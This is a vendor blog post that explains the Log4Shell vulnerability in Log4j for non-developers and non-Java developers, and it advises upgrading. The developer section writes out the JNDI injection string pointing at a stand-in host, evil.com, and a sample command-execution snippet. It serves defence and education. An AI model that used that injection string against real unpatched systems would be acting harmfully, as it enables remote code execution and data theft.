Log4Shell in a nutshell (for non-developers & non-Java developers)
Micah Silverman
2021年12月15日
0 分で読めますEditor's note (28 Dec 2021 at 7:35 p.m. GMT): The Log4j team released a new security update that found 2.17.0 to be vulnerable to remote code execution, identified by CVE-2021-44832. We recommend upgrading to the latest version, which at this time is 2.17.1.
Editor's note (18 Dec 2021 at 6:55 p.m. GMT): The Log4j situation is rapidly changing and we are updating our blogs as new information becomes available. It is recommended you upgrade to version 2.17.1
or later. This version contains security fixes for two remote code execution vulnerabilities, fixed in 2.15.0
(CVE-2021-44228) and 2.16.0
(CVE-2021-45046) and the latest DoS vulnerability fixed in 2.17.1 (CVE-2021-45105). Read more here.
If you’re in tech at all, you’ve likely heard of the Log4Shell exploit taking over the Intertubes. If you’re not a Java developer (or developer of any sort), you may be left scratching your head as to just what’s going on.
This post is split into two parts: an explanation of Log4Shell for non-developers and an overview of the Log4Shell vulnerability for non-Java developers.
Overview of Log4Shell for non-developers
You know how, when you go to a website in your browser, you see images on that site? What you may not know is that your browser takes two steps to show that image. First, it gets the HTML page, like: https://snyk.io. On that HTML page, there are references to images, like:
1<img
2 src="https://snyk.io/wp-content/themes/snyk_v2_etyhadar/dist/images/snyk-logo-patch-new.svg"
3 alt="Snyk|Open Source Security Platform"
4 class="home__logo"
5>
The browser then makes a new request to get the image.
What does this have to do with the Log4Shell exploit?
Log4j is a widely used Java library for writing information to log files. This is usually information about the timing for certain events or error messages when something goes wrong.
There’s another Java technology that can reference remote URLs — kind of like how your browser can fetch image urls. Log4j can be tricked into fetching an asset from a remote URL. Only, it’s not an image — it’s another bit of compiled Java code.
That compiled Java code can do all kinds of nasty things, including running other programs on the target machine. This is referred to as a remote code execution (RCE) vulnerability and is the most serious type of vulnerability.
Feel free to read on if you're interested in the mechanism of the Log4Shell exploit. Or, jump to the bottom for resources on how you can help detect and fix Log4Shell.
Digging into Log4Shell for developers
Let’s talk about the internal mechanism in Java that makes this exploit so serious. We’re gonna get in the weeds here, so feel free to skip ahead to how you can support your organization in dealing with Log4Shell below.
The underpinnings of Log4Shell have been kicking around since at least 2016! Here’s a link to a Blackhat conference presentation on the topic of remote code execution in Java. The kicker is that two of the three pieces of Log4Shell are already called out in this presentation. We’ll look at these components and how they fit together to make Log4Shell work next.
A look at the building blocks of Log4Shell
I told you we’d be getting into the weeds in this section!
A lot of what makes Java great (and sometimes confusing for the uninitiated) are “abstraction layers”. For instance, a developer can write code that speaks to a database. But, it’s not bound to a particular vendor’s database server. So, maybe in local testing, I use MySQL, but when it’s deployed to production, my company uses PostgreSQL. I don’t have to change a line of code because of the database abstraction layer.
The "Yellow Pages" of Java: JNDI
The Java Naming and Directory Interface (JNDI) is an abstraction layer that allows Java code to interact with all kinds of different types of directories. For instance, Domain Name Service (DNS) is a type of directory that provides lookups for domain names. Lightweight Directory Access Protocol (LDAP) is used by directory servers to provide information about organizations, individuals and other resources, such as devices on a network (It’s what Microsoft Active Directory is based on).
LDAP is not just for text
In addition to text information, LDAP can store serialized Java objects.
Serialized Java objects are powerful (and potentially dangerous) representations of Java code. The short story here is that it’s like frozen code that can be stored and thawed out later. This has many valid uses, but in this case, it’s part of the mechanism that makes Log4Shell work. Put a pin in that for now. It will all come together shortly.
How JNDI, LDAP and Log4J conspire to cause problems
Up until recently, Log4J allowed JNDI references, which it would then automatically resolve on behalf of the application. Whether or not there’s a legitimate use for such a mechanism, Log4J’s latest release (2.16.0
as of this writing) has completely removed this capability. That means that if you update your version of Log4J to 2.16.0
you will be protected from the Log4Shell exploit.
How does this all work together? Imagine a log message like this:
1logger.error("Output:" + "${jndi:ldap://evil.com:9999/Evil}");
Don’t worry if this code doesn’t look familiar. Here are the important bits:
Older versions of Log4J took the string:
${jndi:ldap://evil.com:9999/Evil}
and interpreted it as a JNDI LDAP reference, in this case to a malicious server.Java’s JNDI stack makes an LDAP request to
evil.com
and does a lookup on/Evil
Evil.com
’s LDAP server constructs a response that includes a remote reference to a serialized Java object. Something like:http://evil.com:8000/Evil.class
This triggers another request to
evil.com
’s HTTP server — like your browser fetching an image.Evil.class
is retrieved and comes down as a binary payload which is then turned into a Java object through the process of deserialization.The reconstituted Java object is then executed. It’s at this point that any code can be executed on the unwitting machine.
To drive home the last point, take a look at this sample code:
1String[] cmd = {
2"/bin/sh",
3"-c",
4"echo PWNED > /tmp/pwned"
5};
6Runtime.getRuntime().exec(cmd);
Again, don’t worry if the code is unfamiliar. The important bit is that the exec
call in Java is running a command _outside_of Java. In this case, it’s writing to a file in a temp directory. But, it could be a command that erases the whole hard drive. Or, a command that sends a sensitive file to another malicious endpoint.
What explanation wouldn’t be complete without a poorly drawn diagram? Here is Log4Shell in a nutshell:
Even if you don’t fully understand what’s going on here, you can see that quite a lot of network activity is triggered from that innocuous-looking log message!
Go from Log4Shell zero to hero
An easy way to secure your systems is to scan them with Snyk. Snyk can find and automatically create fix PRs for Log4Shell. And with monitoring functionality enabled, Snyk will even notify you when your dependencies (and their dependencies) are updated and safe to use. Sign up for a free Snyk account today.
We've also compiled a list of great resources to help your company deal with the Log4Shell exploit.
Want to learn even more about Log4Shell? Check out these resources: